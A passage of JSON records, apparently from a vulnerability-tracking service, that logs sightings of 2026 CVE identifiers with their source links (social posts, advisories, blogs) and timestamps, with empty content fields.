"4a3ef7df-3db8-46f7-bc3e-699885b2ea7e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24765", "type": "seen", "source": "https://bsky.app/profile/ferramentaslinux.bsky.social/post/3me4bzgl7ok2x", "content": "", "creation_timestamp": "2026-02-05T11:30:13.515804Z"}, {"uuid": "890d0cc7-0951-4b6f-957e-a7c0397ba6fc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24343", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3mekieb5xqr2v", "content": "", "creation_timestamp": "2026-02-11T03:00:53.389633Z"}, {"uuid": "9e1bee0c-4111-4fd9-abe5-b5febc9f7487", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24293", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0080", "content": "", "creation_timestamp": "2026-03-10T19:07:55.000000Z"}, {"uuid": "d884ae9a-1719-4ccb-b26e-73871c31a368", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://bsky.app/profile/undercode.bsky.social/post/3mdzrsiwrki2p", "content": "", "creation_timestamp": "2026-02-04T11:34:38.716010Z"}, {"uuid": "0c070dc7-2631-4ff7-bad0-aaedffcf68c7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2447", "type": "seen", "source": "https://bsky.app/profile/ferramentaslinux.bsky.social/post/3mfonmbqzgk2l", "content": "", "creation_timestamp": "2026-02-25T12:10:43.717578Z"}, {"uuid": "30bffd0a-9b35-492f-b14d-f507392806bb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24515", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3mdpzhvuyr62l", "content": "", "creation_timestamp": "2026-01-31T14:25:15.917281Z"}, {"uuid": "31b69fc2-5aa2-4bfe-aaf3-7b60da59a419", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2441", "type": "seen", "source": "https://bsky.app/profile/ytroncal.bsky.social/post/3mflfk44oik2s", "content": "", "creation_timestamp": "2026-02-24T05:08:22.252600Z"}, {"uuid": "e665a4e2-73d6-4a12-81e4-76dca9c0b18a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2441", "type": "seen", "source": "https://bsky.app/profile/hnews.southla.social/post/3mf5m7fiehs26", "content": "", "creation_timestamp": "2026-02-18T17:30:20.063767Z"}, {"uuid": "1d15284a-27b3-491c-8662-f8b9bdc7dd19", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24423", "type": "seen", "source": "https://feedsin.space/feed/CISAKevBot/items/5922999", "content": "", "creation_timestamp": "2026-03-04T01:43:39.331180Z"}, {"uuid": "4a1cd5c5-3841-4022-bbf1-0e1ca026d638", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24283", "type": "seen", "source": "https://www.thezdi.com/blog/2026/3/10/the-march-2026-security-update-review", "content": "", "creation_timestamp": "2026-03-10T16:57:37.000000Z"}, {"uuid": "fa304440-ac92-41a8-8152-56e0e2048dab", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24423", "type": "seen", "source": "https://bsky.app/profile/hacker.at.thenote.app/post/3mecrh5e4p22q", "content": "", "creation_timestamp": "2026-02-08T01:22:15.276197Z"}, {"uuid": "60430741-7d41-406d-a434-60548b0350d9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2441", "type": "seen", "source": "https://bsky.app/profile/hacker-news.bsky.social/post/3mf5ngjtjwm2w", "content": "", "creation_timestamp": "2026-02-18T17:52:13.237949Z"}, {"uuid": "0a0b8948-ad54-4aa6-b2ea-91e31031b9e4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24882", "type": "seen", "source": "https://bsky.app/profile/lambdawatchdog.bsky.social/post/3mf7kbkojt32u", "content": "", "creation_timestamp": "2026-02-19T12:01:04.214550Z"}, {"uuid": "ed6f2066-22d5-4b80-ad9e-81e480dbaefe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24282", "type": "seen", "source": "https://www.thezdi.com/blog/2026/3/10/the-march-2026-security-update-review", "content": "", "creation_timestamp": "2026-03-10T16:57:37.000000Z"}, {"uuid": "b72f5305-9032-4f67-88dc-3c247035c900", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24858", "type": "seen", "source": "https://bsky.app/profile/hongybarrosz.bsky.social/post/3mdkmfsvk222d", "content": "", "creation_timestamp": "2026-01-29T10:48:12.578295Z"}, {"uuid": "6ac3b619-c60d-41ed-834e-882969f50836", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2441", "type": "seen", "source": "https://bsky.app/profile/kill-bait-es.bsky.social/post/3mfiirxyevo2s", "content": "", "creation_timestamp": "2026-02-23T01:28:25.026606Z"}, {"uuid": "36978e42-3ee7-4c79-9164-2e91dc852899", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24287", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0080", "content": "", "creation_timestamp": "2026-03-10T19:07:55.000000Z"}, {"uuid": "f7713757-6742-4044-b656-4ae3334a179c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2441", "type": "seen", "source": "https://bsky.app/profile/teknohaberinet.bsky.social/post/3mf3eu4q4x22w", "content": "", "creation_timestamp": "2026-02-17T20:13:29.831866Z"}, {"uuid": "534e6419-d92b-4b58-9967-399a5a05fadd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2441", "type": "seen", "source": "https://bsky.app/profile/hackernewsrobot.bsky.social/post/3mf5nukx4lw22", "content": "", "creation_timestamp": "2026-02-18T18:00:03.838193Z"}, {"uuid": "e2cb26ca-c88b-4612-b05e-2dc770ec3e66", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24002", "type": "seen", "source": "https://bsky.app/profile/crowdcyber.bsky.social/post/3mdkounutbo2n", "content": "", "creation_timestamp": "2026-01-29T11:32:14.590402Z"}, {"uuid": "d7a91bd9-6602-44bc-a8ce-f54be5628cd4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2441", "type": "seen", "source": "https://bsky.app/profile/hackernewsbot.bsky.social/post/3mf5numwqr62a", "content": "", "creation_timestamp": "2026-02-18T18:00:05.539004Z"}, {"uuid": "da5f06eb-ba8a-4d1e-87d6-11b6fb6a57bb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24289", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0080", "content": "", "creation_timestamp": "2026-03-10T19:07:55.000000Z"}, {"uuid": "4cd2c5bc-77af-4ac9-9317-2598f7f20e77", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24291", "type": "seen", "source": "https://krebsonsecurity.com/2026/03/microsoft-patch-tuesday-march-2026-edition/", "content": "", "creation_timestamp": "2026-03-10T23:32:51.000000Z"}, {"uuid": "cfa76b24-2235-4e16-a4f2-1a2d75992efe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24858", "type": "seen", "source": "https://bsky.app/profile/modat-io.bsky.social/post/3mdkpexqb6c2d", "content": "", "creation_timestamp": "2026-01-29T11:41:27.640588Z"}, {"uuid": "7f7757b3-9d95-4dd2-add9-f6f15a638d1f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2441", "type": "seen", "source": "https://bsky.app/profile/hn100.atproto.rocks/post/3mf5nv7z5672u", "content": "", "creation_timestamp": "2026-02-18T18:00:25.725991Z"}, {"uuid": "feae2911-3065-4ec3-b40a-7957028492c0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2441", "type": "seen", "source": "https://bsky.app/profile/betterhn50.e-work.xyz/post/3mf5oem553h2z", "content": "", "creation_timestamp": "2026-02-18T18:09:02.112300Z"}, {"uuid": "77e95bb8-eebb-4ca0-a14b-ad2e8992ff7c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2441", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mfim5vstw22p", "content": "", "creation_timestamp": "2026-02-23T02:28:46.532314Z"}, {"uuid": "01c62ffc-526e-4225-8169-66cfb9453cda", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24512", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mecv774l5y2w", "content": "", "creation_timestamp": "2026-02-08T02:29:23.998818Z"}, {"uuid": "40300683-7cec-47ad-a36a-1a68b8fc6f1c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-24044", "type": "seen", "source": "https://bsky.app/profile/offseq.bsky.social/post/3meq5feqddv2f", "content": "", "creation_timestamp": "2026-02-13T09:00:37.744828Z"}, {"uuid": "8801a75a-6929-4810-a4d2-29664198c39e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2441", "type": "seen", "source": "https://bsky.app/profile/newsycombinatorbot.bsky.social/post/3mf5p47sttn2d", "content": "", "creation_timestamp": "2026-02-18T18:22:14.164733Z"}, {"uuid": "faafe204-2070-43ca-a034-453c32e9268b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24285", "type": "seen", "source": "https://www.thezdi.com/blog/2026/3/10/the-march-2026-security-update-review", "content": "", "creation_timestamp": "2026-03-10T16:57:37.000000Z"}, {"uuid": "9d2d23e3-3ba4-4919-aaa2-f061e99818a9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24294", "type": "seen", "source": "https://krebsonsecurity.com/2026/03/microsoft-patch-tuesday-march-2026-edition/", "content": "", "creation_timestamp": "2026-03-10T23:32:51.000000Z"}, {"uuid": "461a194d-349e-4cf3-99de-fb1485949c2f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24842", "type": "seen", "source": "https://bsky.app/profile/lambdawatchdog.bsky.social/post/3mdkqi7vq6b24", "content": "", "creation_timestamp": "2026-01-29T12:01:04.161431Z"}, {"uuid": "095c89ca-6740-453e-9140-219e41b589f9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24858", "type": "seen", "source": "https://bsky.app/profile/thedailytechfeed.com/post/3mdq5r77vb22g", "content": "", "creation_timestamp": "2026-01-31T15:42:03.954104Z"}, {"uuid": "0ae44d5d-0593-456f-a60f-e4b220b483f5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24494", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mfim75r5gl2s", "content": "", "creation_timestamp": "2026-02-23T02:29:28.928029Z"}, {"uuid": "5b7065fb-60bd-4e47-8d94-2f220b0538d3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24291", "type": "seen", "source": "https://www.thezdi.com/blog/2026/3/10/the-march-2026-security-update-review", "content": "", "creation_timestamp": "2026-03-10T16:57:37.000000Z"}, {"uuid": "80428ea7-4c18-4e2f-a534-8877b7fe63a0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24289", "type": "seen", "source": "https://krebsonsecurity.com/2026/03/microsoft-patch-tuesday-march-2026-edition/", "content": "", "creation_timestamp": "2026-03-10T23:32:51.000000Z"}, {"uuid": "a71abcb9-7aef-4ea0-8e92-850c10aaedfe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24858", "type": "seen", "source": "https://bsky.app/profile/potato.software/post/3mdq5rb3ban2i", "content": "", "creation_timestamp": "2026-01-31T15:42:07.229855Z"}, {"uuid": "f7939867-97d8-4403-8d96-44e09a194692", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2441", "type": "seen", "source": "https://feedsin.space/feed/CISAKevBot/items/5923012", "content": "", "creation_timestamp": "2026-03-04T01:44:01.674849Z"}, {"uuid": "abd4c0ef-dc86-4119-b7e6-7168dca77bc5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24457", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mgdk3bgqqg2c", "content": "", "creation_timestamp": "2026-03-05T19:33:24.217732Z"}, {"uuid": "93da297e-3a2a-4ca3-9fb1-2a9571ecd041", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24515", "type": "seen", "source": "https://bsky.app/profile/ferramentaslinux.bsky.social/post/3melyt2uy7k2l", "content": "", "creation_timestamp": "2026-02-11T17:28:11.844815Z"}, {"uuid": "c0054a83-df10-439a-8edf-06731eaf7184", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24423", "type": "seen", "source": "https://bsky.app/profile/thedailytechfeed.com/post/3mdqao5raol2o", "content": "", "creation_timestamp": "2026-01-31T16:34:01.705098Z"}, {"uuid": "2d7fb3ed-3dd0-4cce-8621-6eb3d871e2d1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24494", "type": "seen", "source": "https://bsky.app/profile/postac001.bsky.social/post/3mfimri6ozz2u", "content": "", "creation_timestamp": "2026-02-23T02:39:43.947869Z"}, {"uuid": "87d9ef6d-b4c8-4b82-8fcd-4139715c51cd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24293", "type": "seen", "source": "https://www.thezdi.com/blog/2026/3/10/the-march-2026-security-update-review", "content": "", "creation_timestamp": "2026-03-10T16:57:37.000000Z"}, {"uuid": "c9a97a87-795b-4a02-aed7-f91cef7bd111", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24513", "type": "seen", "source": "https://bsky.app/profile/kubernetes.dev/post/3mdzzpdx62k27", "content": "", "creation_timestamp": "2026-02-04T13:56:04.059994Z"}, {"uuid": "17a7bec8-59ed-402f-8f8d-67d7d7ea69f5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-24494", "type": "seen", "source": "https://bsky.app/profile/offseq.bsky.social/post/3mfinwmzwrt2u", "content": "", "creation_timestamp": "2026-02-23T03:00:31.134296Z"}, {"uuid": "99ee0484-dee8-4918-bb0b-50c4556e60b9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-24494", "type": "seen", "source": "https://infosec.exchange/users/offseq/statuses/116117708946902083", "content": "", "creation_timestamp": "2026-02-23T03:00:36.067117Z"}, {"uuid": "329a3631-b8ef-46d2-8bbc-169098271520", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24515", "type": "seen", "source": "https://seclists.org/oss-sec/2026/q1/136", "content": "", "creation_timestamp": "2026-01-31T12:47:51.000000Z"}, {"uuid": "de6a0294-2dea-4096-a4cb-4e2482039222", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2441", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3mf3hmusyz42v", "content": "", "creation_timestamp": "2026-02-17T21:03:06.872974Z"}, {"uuid": "0fff90e8-d47d-4724-966e-f35e994f743b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24708", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mf5po2arw72q", "content": "", "creation_timestamp": "2026-02-18T18:32:15.386235Z"}, {"uuid": "bf91286e-84f4-4b9d-acba-19ad9f1060c8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-24731", "type": "seen", "source": "https://bsky.app/profile/offseq.bsky.social/post/3mfsfqrglxo2n", "content": "", "creation_timestamp": "2026-02-27T00:00:41.339001Z"}, {"uuid": "8f73f3f5-bfbf-41f9-9585-d22ba1579a24", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2441", "type": "seen", "source": "https://bsky.app/profile/topickapp.bsky.social/post/3mf7nnownvm2r", "content": "", "creation_timestamp": "2026-02-19T13:01:33.087197Z"}, {"uuid": "306227f9-5720-48ae-89cc-961d4d9dd861", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24708", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mf5r6h6hyx2d", "content": "", "creation_timestamp": "2026-02-18T18:59:17.065896Z"}, {"uuid": "dcf1e9a8-8aaa-4f7e-9c00-3aa9ea3d1228", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24765", "type": "seen", "source": "https://bsky.app/profile/crowdcyber.bsky.social/post/3mdkvqmjgyt2n", "content": "", "creation_timestamp": "2026-01-29T13:35:14.482583Z"}, {"uuid": "52e2f4d5-bfd0-4a81-8e39-529e13caa824", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24423", "type": "seen", "source": "https://bsky.app/profile/hacker.at.thenote.app/post/3mf7pkic3m22f", "content": "", "creation_timestamp": "2026-02-19T13:35:32.555433Z"}, {"uuid": "b52f6eea-4638-4acf-8db0-a4e4d3865335", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24423", "type": "seen", "source": "https://bsky.app/profile/hacker.at.thenote.app/post/3mdqmvjdzkk2q", "content": "", "creation_timestamp": "2026-01-31T20:12:54.019135Z"}, {"uuid": "f705b13e-9431-40dc-b42c-1049c5e7a8cf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24445", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mg4av3dmhb2r", "content": "", "creation_timestamp": "2026-03-02T22:00:14.173673Z"}, {"uuid": "93def8b4-c337-4be4-b91f-db394ced16ca", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24858", "type": "seen", "source": "https://bsky.app/profile/samilaiho.com/post/3mdkwhzxldk2o", "content": "", "creation_timestamp": "2026-01-29T13:48:25.139505Z"}, {"uuid": "6e7c8c57-c040-4032-a3fe-6f157555edd9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24849", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mfpb5edul62m", "content": "", "creation_timestamp": "2026-02-25T18:00:15.971423Z"}, {"uuid": "4434ee3d-05aa-4860-a8e5-45c69e2e4790", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24898", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mg7656ce7a2o", "content": "", "creation_timestamp": "2026-03-04T01:49:08.104373Z"}, {"uuid": "9c7bea14-2960-4682-8cce-f207569d1171", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24858", "type": "seen", "source": "https://bsky.app/profile/2rZiKKbOU3nTafniR2qMMSE0gwZ.activitypub.awakari.com.ap.brid.gy/post/3mdkwsx6yvck2", "content": "", "creation_timestamp": "2026-01-29T13:54:27.766898Z"}, {"uuid": "37e4eb7d-e151-4faa-80f3-0fe8e0fb89c1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://bsky.app/profile/solidot.bsky.social/post/3mevqqmx3ky2z", "content": "", "creation_timestamp": "2026-02-15T14:30:15.078605Z"}, {"uuid": "d2d84baf-1866-43be-9a6d-050592cb7252", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2441", "type": "seen", "source": "https://bsky.app/profile/hot.hn/post/3mf5scovyt32t", "content": "", "creation_timestamp": "2026-02-18T19:19:32.477282Z"}, {"uuid": "160b1967-5e9c-42d5-8217-efce4da8fbf5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24848", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mg76g7ts3f2y", "content": "", "creation_timestamp": "2026-03-04T01:54:08.084329Z"}, {"uuid": "988f3834-60b5-4ddb-a75b-c239f2974d44", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24512", "type": "seen", "source": "https://gist.github.com/alon710/e29abfdffb03ada3c960120869333965", "content": "", "creation_timestamp": "2026-02-05T15:50:06.000000Z"}, {"uuid": "c12fd117-6647-4832-8873-6f15f48e16cb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24351", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mftubrawva2d", "content": "", "creation_timestamp": "2026-02-27T13:53:23.303610Z"}, {"uuid": "b260cccd-8c24-4240-9790-470235710d42", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-24663", "type": "seen", "source": "https://bsky.app/profile/offseq.bsky.social/post/3mfskrmryvz2u", "content": "", "creation_timestamp": "2026-02-27T01:30:38.683625Z"}, {"uuid": "154074b4-4ae9-430f-8cf8-ee13369a1326", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-24858", "type": "seen", "source": "https://gist.github.com/wjfthomas318-rgb/e54380790c726df2f711b7af77116d36", "content": "", "creation_timestamp": "2026-02-01T00:36:08.000000Z"}, {"uuid": "67009f14-bf65-4a09-97a5-58a558aeeabe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://bsky.app/profile/pentest-tools.com/post/3me27boe5b22b", "content": "", "creation_timestamp": "2026-02-04T15:35:51.051608Z"}, {"uuid": "c2f12693-0b5c-4f60-90d9-047ba1b38e9f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2441", "type": "seen", "source": "https://bsky.app/profile/ryanhe.mistyreverie.org.ap.brid.gy/post/3mfj7pqond7q2", "content": "", "creation_timestamp": "2026-02-23T08:18:51.839527Z"}, {"uuid": "ddc1a168-5fd8-4926-b385-321404e3ec92", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24292", "type": "seen", "source": "https://www.thezdi.com/blog/2026/3/10/the-march-2026-security-update-review", "content": "", "creation_timestamp": "2026-03-10T16:57:37.000000Z"}, {"uuid": "5f03ce9f-55ab-4d0f-9c9b-c88644964824", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24295", "type": "seen", "source": "https://www.thezdi.com/blog/2026/3/10/the-march-2026-security-update-review", "content": "", "creation_timestamp": "2026-03-10T16:57:37.000000Z"}, {"uuid": "8d378e9c-b621-46b1-9973-1b67ffcbb3a6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24765", "type": "seen", "source": "https://bsky.app/profile/cyberdudebivash.bsky.social/post/3mdl4mtlfzs2w", "content": "", "creation_timestamp": "2026-01-29T15:38:30.026066Z"}, {"uuid": "851d4aed-5dfc-4694-9b27-28e6b810b269", "vulnerability_lookup_origin": 